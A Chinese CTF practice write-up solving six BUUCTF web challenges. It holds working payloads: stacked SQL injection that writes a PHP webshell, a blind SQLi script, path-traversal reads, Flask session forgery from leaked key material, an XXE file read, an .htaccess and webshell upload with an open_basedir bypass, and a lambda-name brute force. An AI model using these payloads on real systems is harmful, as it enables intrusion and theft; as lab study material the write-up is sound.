buu练习9

前言

国B打完打国A,也有一个多月没刷buu了,刷刷题练练手感。

[SUCTF 2018]MultiSQL

进入网页,是一个测试系统,但是只有注册和登录可以点击,先随便注册一个账号登录试试。

登录成功后又多了两个可操作点:用户信息和编辑头像。这题看起来可以利用的点多的不行。首先我们进入用户信息,发现url存在可疑注入点,当id为2时为自己注册的账户,id为1时为管理员账户,id为3以后则不存在账户。

id参数测试也存在一堆注入,但是过滤拉满,select也是被过滤了。这时候就要用到Mysql的预处理机制来进行写入文件了,我们通过文件上传功能发现绝对路径,因此可以写入webshell进行getshell。

关于Mysql预处理的基本知识:
MySQL的预处理技术

由于select被过滤,因此使用char()来绕过waf。

exp:

1
2
3
4
5
6
7
8
9
10
str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
if i == 0:
print('char(%s'%ord(str[i]),end="")
else:
print(',%s'%ord(str[i]),end="")
print(')')

//char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

payload:

1
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

文件上传成功,到./favicon/shell.php执行命令,获取flag:

1
_=system('cat /WelL_Th1s_14_fl4g ');

[SWPU2019]Web4

进入网站又是个登录框,但这次不给注册了,那不出意外应该还是存在sql注入。抓包发现username和password是以json格式上传的,且在闭合单引号时出现报错,加入注释符回显正常,因此确定存在sql注入。

经测试发现select又被过滤了,且依然存在堆叠注入,那有没有一种可能,这里的解法和上一道题是类似的呢?当然,这里我们使用时间盲注对数据库进行注入,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import json
import time

def main():
url = '''http://5fddb488-a40c-4017-b042-7f84300dfca9.node4.buuoj.cn:81'''
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'123456'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break

def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
main()

//glzjin_wants_a_girl_friend.zip

压缩包下载下来是源码,发现是一个框架,根目录下有flag.php文件,但是无法看到flag,推断是要我们进行文件包含或文件读取。因此审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//userIndex.php
function imgToBase64($img_file) {

$img_base64 = '';
if (file_exists($img_file)) {
$app_img_file = $img_file; // 图片路径
$img_info = getimagesize($app_img_file); // 取得图片的大小,类型等

$fp = fopen($app_img_file, "r"); // 图片是否可读权限

if ($fp) {
$filesize = filesize($app_img_file);
$content = fread($fp, $filesize);
$file_content = chunk_split(base64_encode($content)); // base64编码
switch ($img_info[2]) { //判读图片类型
case 1: $img_type = "gif";
break;
case 2: $img_type = "jpg";
break;
case 3: $img_type = "png";
break;
}

$img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码

}
fclose($fp);
}

return $img_base64; //返回图片的base64
}

我们发现在这个文件中可以通过读取$img_file的内容来输出对应的base64编码,存在文件读取,那么我们要怎么调用到这个文件呢:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//UserController.php
<?php

/**
* 用户控制器
*/
class UserController extends BaseController
{
// 访问列表
public function actionList()
{
$params = $_REQUEST;
$userModel = new UserModel();
$listData = $userModel->getPageList($params);
$this->loadView('userList', $listData );
}
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}

}

这个文件直接可以加载userIndex,那么我们根据框架的规则,就可以抓包读取了,payload:

1
/index.php?r=User/Index&img_file=/../flag.php

base64转码后即为flag。

[CISCN2019 华东南赛区]Web4

进入网页只有一行字,让我们read something,点击后跳转到百度。观察url发现存在url参数,尝试任意文件读取发现读取成功,但是存在过滤,例如fileflag等被过滤了。

回到/read审查元素发现存在session,那么我们解读一下:

1
{'username': b'www-data'}

看来我们需要把这里的www-data改为什么东西,但是要伪造session我们需要secret_key,我们需要找到它。因此尝试读取其他常用目录,例如/proc/self/environ

1
LANG=C.UTF-8SHELL=/bin/ashSHLVL=1WERKZEUG_RUN_MAIN=trueCHARSET=UTF-8PWD=/appWERKZEUG_SERVER_FD=3LOGNAME=glzjinUSER=glzjinHOME=/appPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPS1=\h:\w\$ PAGER=less

存在这个文件说明应该要有/app/app.py,读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

我们发现需要将session中的www-data改为fuck就可以在/flag路由下读取flag了。而key的获取方式我们也知晓了,为了知道uuid.getnode,我们需要读取/sys/class/net/eth0/address

1
7e:cd:10:29:44:9e 

之后我们按照key的生成方式获取key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import uuid
import random

mac = "7e:cd:10:29:44:9e"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*233)
print(randStr)

//177.20043364003038取小数点后八位

用工具生成新的session:

1
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.YpHWiA.-RTAvCwEbs--FjJNrtxS3Rb5Uko

在/flag下更改session读取flag即可。

[BSidesCF 2019]SVGMagic

进入网页只有一个文件上传功能,不过大大的SVG就写在最上面。我们知道SVG是用XML定义的。其实想到这里这题的大致解法就出来了,利用SVG的XML来进行XEE读取flag即可,payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

flag以图片形式呈现。

[SUCTF 2019]EasyWeb

来道代码审计压压惊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

看源码解题思路挺明确的,通过eval()调用get_the_flag()来获取flag,不过上来的waf可不少啊。不过问题不大,异或绕过经典操作就可绕过去了:

1
2
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
//${_GET}{%ff}();&%ff=get_the_flag

接着我们来看下get_the_flag(),过滤了ph<?,并且对图片hex正确性进行了验证,看来这个木马只能上传图片码了。

根据phpinfo内容,服务器为Apache,因此选择上传.htacess文件,不过以前写的这个文件在这里就不好用了,因为要绕过对内容的过滤,因此这里选择将文件内容进行base64编码(我看别人wp用的是utf-16,那样的话.htacess文件就不用改了)。

.htacess

1
2
3
4
#define width 1000
#define height 1000
AddType application/x-httpd-php .pcc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_48cd8b43081896fbd0931d204f947663/mrl64.pcc"

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import base64


url = "http://f9432b6f-408f-485b-9cee-636af7ed9743.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"


htaccess = b"""
#define width 1000
#define height 1000
AddType application/x-httpd-php .pcc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c47b21fcf8f0bc8b3920541abd8024fd/mrl64.pcc"
"""

shell = b"GIF89aaa" + base64.b64encode(b"<?php eval($_REQUEST['mrl64']);?>")


files = {'file':('.htaccess',htaccess,'image/jpeg')}

response = requests.post(url=url,files=files)
print(response.text)

files = {'file':('mrl64.pcc',shell,'image/jpeg')}
response = requests.post(url=url,files=files)
print(response.text)

文件上传成功,但是没法直接连接,查看phpinfo发现存在open_basedir,因此我们无法访问根目录,这里用到bypass open_basedir的那个方法:

1
2
3
?mrl64=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));

?mrl64=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

[SUCTF 2018]annonymous

最后来做个代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

代码很短,逻辑也很简单,$MY的作用就是读取flag,而$hash则是创造了一个随机数。我们都知道create_function()创造的是一个匿名函数,但其实这个函数是有名字的,名字是%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)。

而想要在eval()中调用$MY,就必须要得到这个函数的名字,不过这范围也就1000,直接爆破就好了。

exp:

1
2
3
4
5
6
7
8
import requests

for i in range(1000):
url = 'http://72f0e300-53fa-406e-9d94-de55324bdbd1.node4.buuoj.cn:81/?func_name=%00lambda_{}'.format(i)
r = requests.get(url)
if 'flag' in r.text:
print(r.text)
break

运行exp获得flag。